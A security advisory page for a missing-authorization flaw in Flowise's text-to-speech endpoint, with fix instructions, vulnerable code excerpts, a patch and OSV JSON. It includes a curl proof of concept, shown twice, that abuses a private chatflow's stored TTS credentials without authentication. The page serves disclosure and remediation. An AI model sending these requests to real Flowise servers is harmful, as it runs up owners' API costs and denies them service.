GHSA-8gj2-2cvc-6xx7: Flowise Unauthenticated Credential Abuse Vulnerability

MODERATE
CWE-862
Published
Advisory Summary

GHSA-8gj2-2cvc-6xx7 is a MODERATE unauthenticated credential abuse vulnerability (CWE-862: Missing Authorization) affecting Flowise libraries in the npm ecosystem. The issue involves unauthenticated credential abuse via text-to-speech endpoint allows unauthorized use of private chatflow tts credentials. Remediation is available by upgrading affected packages to version 3.1.4.

GHSA-8gj2-2cvc-6xx7 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-8gj2-2cvc-6xx7
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-862: Missing Authorization
Affected Product Flowise
Package Ecosystem npm
Published Date
Last Updated

How to Fix GHSA-8gj2-2cvc-6xx7

To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

flowise fixed: 3.1.4
npm install flowise@3.1.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls flowise

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-8gj2-2cvc-6xx7, inspect your project dependencies using npm:

npm ls flowise

Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.4), your application is affected.

Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `/api/v1/text-to-speech/generate` endpoint is whitelisted (requires no authentication) and accepts any `chatflowId` without checking whether the referenced chatflow is public. An unauthenticated attacker who knows a valid chatflow UUID can abuse that chatflow's TTS credential (OpenAI or ElevenLabs API key) to generate unlimited text-to-speech audio, incurring costs on the chatflow owner's account. ## Details The TTS `generateTextToSpeech` controller at `packages/server/src/controllers/text-to-speech/index.ts:10-171` is whitelisted at `packages/server/src/utils/constants.ts:41`: ```typescript '/api/v1/text-to-speech/generate', ``` When a `chatflowId` is provided and the user is not authenticated (no `req.user`), the controller falls back to fetching the chatflow without workspace scoping: ```typescript // packages/server/src/controllers/text-to-speech/index.ts:36-42 if (workspaceId) { chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId) } else { // Fallback: get workspaceId from chatflow when req.user.activeWorkspaceId is not set chatflow = await chatflowsService.getChatflowById(chatflowId) // NO isPublic check workspaceId = chatflow.workspaceId } ``` The `getChatflowById` function at `packages/server/src/services/chatflows/index.ts:247-272` fetches any chatflow by ID when `workspaceId` is not provided: ```typescript const dbResponse = await appServer.AppDataSource.getRepository(ChatFlow).findOne({ where: { id: chatflowId, ...(workspaceId ? { workspaceId } : {}) // No workspace filter when workspaceId is undefined } }) ``` The controller then extracts the TTS provider configuration from the chatflow: ```typescript // packages/server/src/controllers/text-to-speech/index.ts:51-66 const ttsConfig = JSON.parse(chatflow.textToSpeech) const activeProviderKey = Object.keys(ttsConfig).find(key => ttsConfig[key].status === true) const providerConfig = ttsConfig[activeProviderKey] provider = activeProviderKey credentialId = providerConfig.credentialId // Extracted from private chatflow ``` This `credentialId` is then used to decrypt and use the stored credential (OpenAI or ElevenLabs API key) to make TTS API calls at `packages/components/src/textToSpeech.ts:33-34`: ```typescript const credentialId = textToSpeechConfig.credentialId as string const credentialData = await getCredentialData(credentialId ?? '', options) ``` ## PoC ```bash # Step 1: Know a chatflow UUID that has TTS enabled (any chatflow, public or private) CHATFLOW_ID="<any-chatflow-uuid-with-tts-enabled>" # Step 2: Abuse the TTS credential to generate audio without authentication curl -X POST "http://localhost:3000/api/v1/text-to-speech/generate" \ -H "Content-Type: application/json" \ -d '{ "chatflowId": "'${CHATFLOW_ID}'", "chatId": "attacker-chat-1", "chatMessageId": "msg-1", "text": "This is a test of unauthorized TTS generation using someone elses API key" }' # Expected: Returns SSE stream with TTS audio data using the chatflow owner's OpenAI/ElevenLabs credentials # event: tts_start # data: {"event":"tts_start","data":{"chatMessageId":"msg-1","format":"mp3"}} # event: tts_data # data: {"event":"tts_data","data":{"chatMessageId":"msg-1","audioChunk":"<base64-audio>"}} # Step 3: Repeat with large text to incur costs curl -X POST "http://localhost:3000/api/v1/text-to-speech/generate" \ -H "Content-Type: application/json" \ -d '{ "chatflowId": "'${CHATFLOW_ID}'", "chatId": "attacker-chat-2", "chatMessageId": "msg-2", "text": "'$(python3 -c "print('A' * 4096)")'" }' ``` ## Impact - **Financial Impact**: An attacker can generate unlimited TTS audio using the chatflow owner's OpenAI or ElevenLabs API credentials, incurring potentially significant costs. OpenAI TTS costs ~$15/1M characters; an attacker could generate large volumes of audio. - **Credential Abuse**: The attacker effectively gains indirect access to the stored API credentials without needing to authenticate or have any permissions. The credentials are not directly exposed but are used on behalf of the attacker. - **Denial of Service**: By exhausting the API quota/budget of the credential, the attacker can deny service to legitimate users of the chatflow. - **Affects Private Chatflows**: This vulnerability affects all chatflows with TTS configured, including those explicitly marked as private (`isPublic: false`). ## Recommended Fix 1. Check `isPublic` before allowing unauthenticated TTS generation: ```typescript // packages/server/src/controllers/text-to-speech/index.ts if (chatflowId) { let chatflow; let workspaceId = req.user?.activeWorkspaceId; if (workspaceId) { chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId) } else { chatflow = await chatflowsService.getChatflowById(chatflowId) // Verify the chatflow is public before using its credentials if (!chatflow.isPublic) { throw new InternalFlowiseError( StatusCodes.UNAUTHORIZED, 'TTS generation requires authentication for non-public chatflows' ) } workspaceId = chatflow.workspaceId } // ... rest of the function } ``` 2. Consider applying rate limiting to the TTS endpoint to prevent abuse even for public chatflows.

GHSA-8gj2-2cvc-6xx7 Affected Flowise Versions

1 component(s)
Fixed Versions:
3.1.4
Product / Package Ecosystem Affected Versions Fixed Version
flowise
npm
< 3.1.4
3.1.4

References

Frequently Asked Questions

What is GHSA-8gj2-2cvc-6xx7?
GHSA-8gj2-2cvc-6xx7 is a security vulnerability in Flowise involving Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials under CWE-862: Missing Authorization.
Which Flowise versions are affected?
Affected versions include releases prior to 3.1.4 across affected packages: flowise.
What version fixes GHSA-8gj2-2cvc-6xx7?
Upgrading to 3.1.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flowise affected?
Yes, flowise is affected in releases prior to 3.1.4. Upgrade your dependency to 3.1.4 or later.
What CWE is associated with GHSA-8gj2-2cvc-6xx7?
GHSA-8gj2-2cvc-6xx7 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check npm dependencies for GHSA-8gj2-2cvc-6xx7?
Run the dependency tree command: 'npm ls flowise'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8gj2-2cvc-6xx7",
  "modified" : "2026-08-04T19:19:44Z",
  "published" : "2026-08-04T19:19:44Z",
  "aliases" : [ ],
  "summary" : "Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials",
  "details" : "## Summary\n\nThe `/api/v1/text-to-speech/generate` endpoint is whitelisted (requires no authentication) and accepts any `chatflowId` without checking whether the referenced chatflow is public. An unauthenticated attacker who knows a valid chatflow UUID can abuse that chatflow's TTS credential (OpenAI or ElevenLabs API key) to generate unlimited text-to-speech audio, incurring costs on the chatflow owner's account.\n\n## Details\n\nThe TTS `generateTextToSpeech` controller at `packages/server/src/controllers/text-to-speech/index.ts:10-171` is whitelisted at `packages/server/src/utils/constants.ts:41`:\n\n```typescript\n'/api/v1/text-to-speech/generate',\n```\n\nWhen a `chatflowId` is provided and the user is not authenticated (no `req.user`), the controller falls back to fetching the chatflow without workspace scoping:\n\n```typescript\n// packages/server/src/controllers/text-to-speech/index.ts:36-42\nif (workspaceId) {\n    chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId)\n} else {\n    // Fallback: get workspaceId from chatflow when req.user.activeWorkspaceId is not set\n    chatflow = await chatflowsService.getChatflowById(chatflowId)  // NO isPublic check\n    workspaceId = chatflow.workspaceId\n}\n```\n\nThe `getChatflowById` function at `packages/server/src/services/chatflows/index.ts:247-272` fetches any chatflow by ID when `workspaceId` is not provided:\n\n```typescript\nconst dbResponse = await appServer.AppDataSource.getRepository(ChatFlow).findOne({\n    where: {\n        id: chatflowId,\n        ...(workspaceId ? { workspaceId } : {})  // No workspace filter when workspaceId is undefined\n    }\n})\n```\n\nThe controller then extracts the TTS provider configuration from the chatflow:\n\n```typescript\n// packages/server/src/controllers/text-to-speech/index.ts:51-66\nconst ttsConfig = JSON.parse(chatflow.textToSpeech)\nconst activeProviderKey = Object.keys(ttsConfig).find(key => ttsConfig[key].status === true)\nconst providerConfig = ttsConfig[activeProviderKey]\nprovider = activeProviderKey\ncredentialId = providerConfig.credentialId  // Extracted from private chatflow\n```\n\nThis `credentialId` is then used to decrypt and use the stored credential (OpenAI or ElevenLabs API key) to make TTS API calls at `packages/components/src/textToSpeech.ts:33-34`:\n\n```typescript\nconst credentialId = textToSpeechConfig.credentialId as string\nconst credentialData = await getCredentialData(credentialId ?? '', options)\n```\n\n## PoC\n\n```bash\n# Step 1: Know a chatflow UUID that has TTS enabled (any chatflow, public or private)\nCHATFLOW_ID=\"<any-chatflow-uuid-with-tts-enabled>\"\n\n# Step 2: Abuse the TTS credential to generate audio without authentication\ncurl -X POST \"http://localhost:3000/api/v1/text-to-speech/generate\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"chatflowId\": \"'${CHATFLOW_ID}'\",\n    \"chatId\": \"attacker-chat-1\",\n    \"chatMessageId\": \"msg-1\",\n    \"text\": \"This is a test of unauthorized TTS generation using someone elses API key\"\n  }'\n\n# Expected: Returns SSE stream with TTS audio data using the chatflow owner's OpenAI/ElevenLabs credentials\n# event: tts_start\n# data: {\"event\":\"tts_start\",\"data\":{\"chatMessageId\":\"msg-1\",\"format\":\"mp3\"}}\n# event: tts_data\n# data: {\"event\":\"tts_data\",\"data\":{\"chatMessageId\":\"msg-1\",\"audioChunk\":\"<base64-audio>\"}}\n\n# Step 3: Repeat with large text to incur costs\ncurl -X POST \"http://localhost:3000/api/v1/text-to-speech/generate\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"chatflowId\": \"'${CHATFLOW_ID}'\",\n    \"chatId\": \"attacker-chat-2\",\n    \"chatMessageId\": \"msg-2\",\n    \"text\": \"'$(python3 -c \"print('A' * 4096)\")'\"\n  }'\n```\n\n## Impact\n\n- **Financial Impact**: An attacker can generate unlimited TTS audio using the chatflow owner's OpenAI or ElevenLabs API credentials, incurring potentially significant costs. OpenAI TTS costs ~$15/1M characters; an attacker could generate large volumes of audio.\n- **Credential Abuse**: The attacker effectively gains indirect access to the stored API credentials without needing to authenticate or have any permissions. The credentials are not directly exposed but are used on behalf of the attacker.\n- **Denial of Service**: By exhausting the API quota/budget of the credential, the attacker can deny service to legitimate users of the chatflow.\n- **Affects Private Chatflows**: This vulnerability affects all chatflows with TTS configured, including those explicitly marked as private (`isPublic: false`).\n\n## Recommended Fix\n\n1. Check `isPublic` before allowing unauthenticated TTS generation:\n\n```typescript\n// packages/server/src/controllers/text-to-speech/index.ts\nif (chatflowId) {\n    let chatflow;\n    let workspaceId = req.user?.activeWorkspaceId;\n    \n    if (workspaceId) {\n        chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId)\n    } else {\n        chatflow = await chatflowsService.getChatflowById(chatflowId)\n        // Verify the chatflow is public before using its credentials\n        if (!chatflow.isPublic) {\n            throw new InternalFlowiseError(\n                StatusCodes.UNAUTHORIZED,\n                'TTS generation requires authentication for non-public chatflows'\n            )\n        }\n        workspaceId = chatflow.workspaceId\n    }\n    // ... rest of the function\n}\n```\n\n2. Consider applying rate limiting to the TTS endpoint to prevent abuse even for public chatflows.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-8gj2-2cvc-6xx7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/pull/6650"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/commit/dbec8f9fd3c42faab49416fe81ff1774a5344cba"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FlowiseAI/Flowise"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-04T19:19:44Z",
    "nvd_published_at" : null
  }
}